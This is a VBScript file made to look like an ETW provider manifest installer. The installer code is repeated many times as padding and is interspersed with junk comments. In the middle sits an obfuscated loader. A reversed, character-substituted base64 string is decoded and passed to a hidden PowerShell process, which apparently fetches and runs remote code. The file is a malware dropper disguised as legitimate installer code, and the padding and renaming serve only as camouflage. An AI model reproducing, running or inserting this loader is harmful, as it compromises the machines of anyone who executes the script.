provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function On Error Resume Next IQAnN = "==AAkAQdAIHAsϚЌϐAIA0DAgAwJAgGA0ϚЌϐAdAAHAzϚЌϐgOA8CAvAAcAEGAzϚЌϐAdAUGAuAQZAUGAvAAZA8CAZϚЌϐAWAIGAqϚЌϐQNA8CAwAwJAsDAkAwdAUGAiϚЌϐwQAwGApϚЌϐQZA4GA0ϚЌϐAIA0DAgAgTAUGA3ϚЌϐQLA8EAiϚЌϐgaAUGAjϚЌϐAdAACATϚЌϐQeAMHA0ϚЌϐQZA0GAuAgTAUGA0ϚЌϐgLAcFAlϚЌϐgYAMEAsϚЌϐQaAUGAuϚЌϐAdAsDAkAgYAEGAzϚЌϐQZAYDA0AwQA8GAuϚЌϐAdAUGAuϚЌϐAdAACA9AAIAsFATϚЌϐQeAMHA0ϚЌϐQZA0GAuAAVAUGA4ϚЌϐAdA4CAFϚЌϐgbAMGAvϚЌϐAZAkGAuϚЌϐwZA0FA6AgOAUFAUϚЌϐgRAgDAuAwRAUGA0ϚЌϐwUAQHAyϚЌϐQaA4GAnϚЌϐAKAQCA3ϚЌϐQZAIGADϚЌϐAbAkGAlϚЌϐgbAQHAuAARA8GA3ϚЌϐgbAwGAvϚЌϐQYAQGAEϚЌϐQYAQHAhϚЌϐAKAQCA1ϚЌϐgcAwGApAQKAsDAkAgYAEGAzϚЌϐQZAYDA0AwQA8GAuϚЌϐAdAUGAuϚЌϐAdAACA9AAIAQCAiϚЌϐQYAMHAlϚЌϐgNAQDADϚЌϐwbA4GA0ϚЌϐQZA4GA0ϚЌϐAIA0CAyϚЌϐQZAAHAsϚЌϐQYAMGAlϚЌϐAIAcSITCgOhMJAnAALAACAnAQQAcCA7AAJAIGApϚЌϐgbAEGAyϚЌϐQeAMEAvϚЌϐgbAQHAlϚЌϐgbAQHAgAQPAACAbϚЌϐwUAkHAzϚЌϐAdAUGAtϚЌϐgLAMEAvϚЌϐgbAYHAlϚЌϐgcAQHAdϚЌϐgOAoDAGϚЌϐgcA8GAtϚЌϐgQAEGAzϚЌϐQZAYDA0AwUAQHAyϚЌϐQaA4GAnϚЌϐAKAQCAiϚЌϐQYAMHAlϚЌϐgNAQDADϚЌϐwbA4GA0ϚЌϐQZA4GA0ϚЌϐQKAsDAbϚЌϐgUAUGAmϚЌϐAbAUGAjϚЌϐAdAkGAvϚЌϐgbA4CAϚЌϐϚЌϐwcAMHAlϚЌϐQbAIGAsϚЌϐQeA0FA6AgOAwEAvϚЌϐQYAQGAoAAJAIGApϚЌϐgbAEGAyϚЌϐQeAMEAvϚЌϐgbAQHAlϚЌϐgbAQHApAwOAQCA2ϚЌϐQYAkGANϚЌϐQZAQHAoϚЌϐwbAQGAgAQPAACAbϚЌϐwQAwGAhϚЌϐwcAMHAMϚЌϐQaAIGAyϚЌϐQYAIHA5ϚЌϐwMA4CADϚЌϐAbAEGAzϚЌϐwcAEDAdϚЌϐgLAcEAlϚЌϐAdA0EAlϚЌϐAdAgGAvϚЌϐAZAgCAnAAcAIHAGϚЌϐgVAkEAnAQKAsDAkAAcAEGAyϚЌϐQYA0GAzϚЌϐAIA0DAgAAQAgCAnAAMA8CAsϚЌϐQaAMEAXϚЌϐANA8CAkϚЌϐwLAUGAlϚЌϐgLAUGA0ϚЌϐwcAEGAwϚЌϐwLA8CA6AwcAAHA0ϚЌϐAdAgGAnAAIAwCAgAAJAgFAoϚЌϐgUAQFAvϚЌϐAIAwCAgAwJAYGAhϚЌϐAbAMHAlϚЌϐwJAACApAwOAQCA2ϚЌϐQYAkGANϚЌϐQZAQHAoϚЌϐwbAQGAuAQSA4GA2ϚЌϐwbAsGAlϚЌϐAKAQCAuϚЌϐQdAwGAsϚЌϐALAACAkAAcAEGAyϚЌϐQYA0GAzϚЌϐQK" SDDRi = "%sgSHq%" slczq = slczq & ";$VPphr;" slczq = "$JbTzY = '" & StrReverse( IQAnN ) & "'" slczq = slczq & (";$VPphr = $JbTzY.replace('" & Mid("RwhjZϐЌϚ",6,3) & "' , '" & Mid("avOQeB",6,1) & "') ;$rFHkw = [Sy" & "stem.Text.Encod" & "ing]:") slczq = slczq & (":Un" & "icode.GetSt" & "ring(") slczq = slczq & ("[Sy" & "stem.Conv" & "ert]::") slczq = slczq & ("FromBase" + "64String( $VPphr ) ); ") slczq = slczq & ("$rFHkw = $rFHkw[-1..-$rFHkw.Length] -join '';$rFHkw = $rFHkw.replace('%XRqhI%','") & WScript.ScriptFullName & "');powershell $rFHkw" set htSHs = CreateObject("WScript.Shell") htSHs.Run( "powershell -command " & slczq ), 0, false '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function '''''''''''''''''''''' mexicano '''''''''''''''''''''' ' Print usage meloddsg ' ' Install Providers ' Uninstall Providers ' Function UninstallProviders ' If this is msi mode, uninstall failures are not fatal ' If False = manual Then On Error Resume Next End If targetDir = Session.TargetPath("ETWProviders") ForEachManifest( GetRef("UninstallProvider") ) On Error Goto 0 End Function ' Enumerates over the provider manifests ' Function ForEachManifest( performAction ) Dim ObjCD, ObjFiles, File ' Remove possible trailing backslash ' If Right(targetDir, 1) = "\" Then targetDir = Left(targetDir, Len(targetDir) - 1) End If ' Uninstall an ETW Provider ' Create a fixed-up copy of a provider manifest ' Dim YxzKX, WaBnj, PUPqX, vKynU Dim fixedName, messageFileName, resourceFileName Set YxzKX = CreateObject("msxml2.DOMDocument.3.0") YxzKX.async = false YxzKX.resolveExternals = false YxzKX.validateOnParse = false If Not YxzKX.load( manifestName ) Then FixManifest = "" Exit Function End If Set WaBnj = YxzKX.SelectNodes("//*/provider") If WaBnj Is Nothing Then FixManifest = "" Exit Function End If For Each PUPqX In WaBnj Set vKynU = PUPqX.attributes messageFileName = vKynU.getNamedItem("messageFileName").nodeValue resourceFileName = vKynU.getNamedItem("resourceFileName").nodeValue messageFileName = RegExFolderPart.Replace ( messageFileName, targetDir + "\" ) resourceFileName = RegExFolderPart.Replace ( resourceFileName, targetDir + "\" ) ' If the resource DLLs referenced in the provider manifest are main OS DLLs ' then we don't include them in the OPK, instead we include a resource-only ' dll with the etw.dll suffix. For these DLLs we need to add the suffix here. ' If 0 = InStr( messageFileName, "etw.dll" ) Then messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" ) End If If 0 = InStr( resourceFileName, "etw.dll" ) Then resourceFileName = RegExExtensionPart.Replace ( resourceFileName, "etw.dll" ) End If PUPqX.SetAttribute "messageFileName", messageFileName PUPqX.SetAttribute "resourceFileName", resourceFileName Next fixedName = RegExFolderPart.Replace ( manifestName, ObjShell.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man" If YxzKX.save( fixedName ) Then FixManifest = "" Exit Function End If FixManifest = fixedName End Function